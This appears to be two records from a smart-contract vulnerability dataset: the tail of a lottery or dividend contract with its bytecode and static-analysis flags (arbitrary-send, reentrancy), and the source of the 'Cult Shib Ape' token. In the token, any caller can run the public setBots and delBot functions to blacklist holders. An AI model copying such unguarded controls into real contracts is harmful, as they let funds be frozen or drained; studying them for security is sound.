_sender) public view returns(uint256) { uint256 _amount = f2mContract.ethBalance(_sender); return _amount; } function getEarlyIncomeBalance(address _sender) public view returns(uint256) { uint256 _amount = lotteryContract.getCurEarlyIncomeByAddress(_sender); return _amount; } function getRewardBalance(address _sender) public view returns(uint256) { uint256 _amount = lotteryContract.getRewardBalance(_sender); return _amount; } function getRefBalance(address _sender) public view returns(uint256) { uint256 _amount = citizenContract.getRefWallet(_sender); return _amount; } function getBalance(address _sender) public view returns(uint256) { uint256 _sum = getUnclaimedBalance(_sender); return _sum + balance[_sender]; } function getUnclaimedBalance(address _sender) public view returns(uint256) { uint256 _sum = getDivBalance(_sender) + getRefBalance(_sender) + getRewardBalance(_sender) + getEarlyIncomeBalance(_sender); return _sum; } function getClaimedBalance(address _sender) public view returns(uint256) { return balance[_sender]; } function getTotalMember() public view returns(uint256) { return member.length; } }
0x6080604052600436106101a1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063152826e9146101a65780631ac9180e146101d55780631e1e2dbf146101f55780632a6f7c391461024c5780633865bf3a146102a35780633ccfd60b146102f55780635c16e15e1461030c5780635d3ca4ab146103635780637c4338af146103c957806382c97b8d1461042057806384054d3d1461047757806386f8950a1461048e578063928aeca0146104e5578063949cfc641461053c578063956d113b14610593578063a230c52414610600578063a3a826781461065b578063aedd18dc146106b2578063b29c662a1461070d578063be3f34a114610764578063c255fb17146107bb578063c93ceec814610812578063cac4977214610869578063cc47f054146108c0578063ce90998014610917578063cf0e80fe1461095a578063d5a849e9146109b1578063e3d670d714610a08578063e9288d7214610a5f578063f8b2cb4f14610a95578063f8e217c414610aec578063fb46834014610b43578063ff14ea2414610b6e575b600080fd5b3480156101b257600080fd5b506101bb610b99565b604051808215151515815260200191505060405180910390f35b6101f360048036038101908080359060200190929190505050610c98565b005b34801561020157600080fd5b5061020a610f86565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561025857600080fd5b50610261610fac565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102af57600080fd5b506102f36004803603810190808060c00190600680602002604051908101604052809291908260066020028082843782019150505050509192919290505050610fd2565b005b34801561030157600080fd5b5061030a611181565b005b34801561031857600080fd5b5061034d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061119b565b6040518082815260200191505060405180910390f35b6103c7600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001909291905050506111b3565b005b3480156103d557600080fd5b5061040a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061150f565b6040518082815260200191505060405180910390f35b34801561042c57600080fd5b50610461600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611615565b6040518082815260200191505060405180910390f35b34801561048357600080fd5b5061048c61182e565b005b34801561049a57600080fd5b506104cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a32565b6040518082815260200191505060405180910390f35b3480156104f157600080fd5b50610526600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a67565b6040518082815260200191505060405180910390f35b34801561054857600080fd5b5061057d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a7f565b6040518082815260200191505060405180910390f35b34801561059f57600080fd5b506105be60048036038101908080359060200190929190505050611ae8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561060c57600080fd5b50610641600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b26565b604051808215151515815260200191505060405180910390f35b34801561066757600080fd5b5061069c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b46565b6040518082815260200191505060405180910390f35b3480156106be57600080fd5b506106f3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d5f565b604051808215151515815260200191505060405180910390f35b34801561071957600080fd5b50610722611dbe565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561077057600080fd5b506107a5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611de4565b6040518082815260200191505060405180910390f35b3480156107c757600080fd5b506107fc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ed5565b6040518082815260200191505060405180910390f35b34801561081e57600080fd5b50610853600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fdb565b6040518082815260200191505060405180910390f35b34801561087557600080fd5b5061087e6121f4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156108cc57600080fd5b50610901600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061221a565b6040518082815260200191505060405180910390f35b34801561092357600080fd5b50610958600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612232565b005b34801561096657600080fd5b5061099b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612600565b6040518082815260200191505060405180910390f35b3480156109bd57600080fd5b506109f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612648565b6040518082815260200191505060405180910390f35b348015610a1457600080fd5b50610a49600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061274e565b6040518082815260200191505060405180910390f35b610a93600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612766565b005b348015610aa157600080fd5b50610ad6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612846565b6040518082815260200191505060405180910390f35b348015610af857600080fd5b50610b2d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061289d565b6040518082815260200191505060405180910390f35b348015610b4f57600080fd5b50610b586129a3565b6040518082815260200191505060405180910390f35b348015610b7a57600080fd5b50610b836129b0565b6040518082815260200191505060405180910390f35b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166352620c79336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015610c5857600080fd5b505af1158015610c6c573d6000803e3d6000fd5b505050506040513d6020811015610c8257600080fd5b8101908080519060200190929190505050905090565b60008060008060003394503493506000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549250600090506000841415610dc8576000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054861115610d4657610d4385611de4565b90505b8083018611151515610dc0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f62616c616e6365206e6f7420656e6f756768000000000000000000000000000081525060200191505060405180910390fd5b859150610dfb565b610dd185611de4565b9050610df881610dea85876129b690919063ffffffff16565b6129b690919063ffffffff16565b91505b610e2282610e14868401866129b690919063ffffffff16565b6129d790919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636f0b518083876040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019150506000604051808303818588803b158015610f6557600080fd5b505af1158015610f79573d6000803e3d6000fd5b5050505050505050505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611082576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f616c72656164792073657475700000000000000000000000000000000000000081525060200191505060405180910390fd5b80600060068110151561109157fe5b6020020151600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060026006811015156110e557fe5b6020020151600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600360068110151561113957fe5b6020020151600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905061118f81611de4565b5061119861182e565b50565b60066020528060005260406000206000915090505481565b60008060008060003394503493506000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205492506000905060008414156112e3576000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548611156112615761125e85611de4565b90505b80830186111515156112db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f62616c616e6365206e6f7420656e6f756768000000000000000000000000000081525060200191505060405180910390fd5b859150611316565b6112ec85611de4565b90506113138161130585876129b690919063ffffffff16565b6129b690919063ffffffff16565b91505b61133d8261132f868401866129b690919063ffffffff16565b6129d790919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637495a1e48389886040518463ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180806020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828103825284818151815260200191508051906020019080838360005b838110156114a1578082015181840152602081019050611486565b50505050905090810190601f1680156114ce5780820380516001836020036101000a031916815260200191505b5093505050506000604051808303818588803b1580156114ed57600080fd5b505af1158015611501573d6000803e3d6000fd5b505050505050505050505050565b600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a5603f02846040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156115cf57600080fd5b505af11580156115e3573d6000803e3d6000fd5b505050506040513d60208110156115f957600080fd5b8101908080519060200190929190505050905080915050919050565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156116de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f6e6f20726967687400000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639eca672c846040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561179b57600080fd5b505af11580156117af573d6000803e3d6000fd5b505050506040513d60208110156117c557600080fd5b8101908080519060200190929190505050905080600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555080915050919050565b6000803391506000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811115156118ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f6e6f7468696e6720746f20636173686f7574000000000000000000000000000081525060200191505060405180910390fd5b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119396129f8565b611941610b99565b801561194d5750600081115b15156119e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001807f6e6565642031207469636b6574206f72207761697420746f206e657720726f7581526020017f6e6400000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611a2d573d6000803e3d6000fd5b505050565b600080611a3e8361150f565b611a4784612648565b611a5085611ed5565b611a598661289d565b010101905080915050919050565b60016020528060005260406000206000915090505481565b600080600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544203905060055481101515611ada5760009150611ae2565b806005540391505b50919050565b600481815481101515611af757fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60036020528060005260406000206000915054906101000a900460ff1681565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611c0f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f6e6f20726967687400000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639eca672c846040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611ccc57600080fd5b505af1158015611ce0573d6000803e3d6000fd5b505050506040513d6020811015611cf657600080fd5b8101908080519060200190929190505050905080600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555080915050919050565b600080600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015611db757506000611db583611a7f565b145b9050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611ead576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f6e6f20726967687400000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b611eb683611615565b611ebf84611b46565b611ec885611fdb565b0101905080915050919050565b600080600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635c49ec27846040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611f9557600080fd5b505af1158015611fa9573d6000803e3d6000fd5b505050506040513d6020811015611fbf57600080fd5b8101908080519060200190929190505050905080915050919050565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156120a4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f6e6f20726967687400000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639eca672c846040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561216157600080fd5b505af1158015612175573d6000803e3d6000fd5b505050506040513d602081101561218b57600080fd5b8101908080519060200190929190505050905080600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555080915050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60026020528060005260406000206000915090505481565b60008060008061224185611d5f565b15156122db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f6d656d626572207374696c6c20676f742074696d6520746f207769746864726181526020017f770000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141515156123a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f6e6f20726967687400000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205493506123eb85611b46565b92506123f685611fdb565b915061240185611615565b90508082840101600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550836000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bdb662368284016040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016000604051808303818588803b15801561251f57600080fd5b505af1158015612533573d6000803e3d6000fd5b5050505050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e947962b8460006040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1681526020019150506000604051808303818588803b1580156125e057600080fd5b505af11580156125f4573d6000803e3d6000fd5b50505050505050505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d5a849e9846040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561270857600080fd5b505af115801561271c573d6000803e3d6000fd5b505050506040513d602081101561273257600080fd5b8101908080519060200190929190505050905080915050919050565b60006020528060005260406000206000915090505481565b600034905042600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128006000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826129b690919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008061285283611a32565b90506000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548101915050919050565b600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d8f3790f846040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561295d57600080fd5b505af1158015612971573d6000803e3d6000fd5b505050506040513d602081101561298757600080fd5b8101908080519060200190929190505050905080915050919050565b6000600480549050905090565b60055481565b60008082840190508381101515156129cd57600080fd5b8091505092915050565b6000808383111515156129e957600080fd5b82840390508091505092915050565b600033905042600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612a9857612b57565b60048190806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b505600a165627a7a723058201c4e75e2a7091d329840746beb1d489442a08110a18186678d3ceda713cd8b2f0029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
6,959
0x96BA8068b40400660d0175d61eb5a57055ceFC73
// SPDX-License-Identifier: UNLICENSED /** https://t.me/cultshibape **/ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract CultShibApe is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; string private constant _name = "Cult Shib Ape"; string private constant _symbol = "CULTSHIBAPE"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(_msgSender()); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _maxTxAmount = _tTotal.div(200); emit Transfer(address(_msgSender()), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from] && !bots[to]); _feeAddr1 = 4; _feeAddr2 = 4; if (from != owner() && to != owner()) { if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { // buy require(amount <= _maxTxAmount); } if ( from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { if(to == uniswapV2Pair){ _feeAddr1 = 4; _feeAddr2 = 4; } } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function createPair() external onlyOwner { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function addLiquidity() external onlyOwner{ uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public { for (uint256 i = 0; i < bots_.length; i++) { if(bots_[i]!=address(uniswapV2Router) && bots_[i]!=address(uniswapV2Pair) &&bots_[i]!=address(this)){ bots[bots_[i]] = true; } } } function delBot(address notbot) public { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
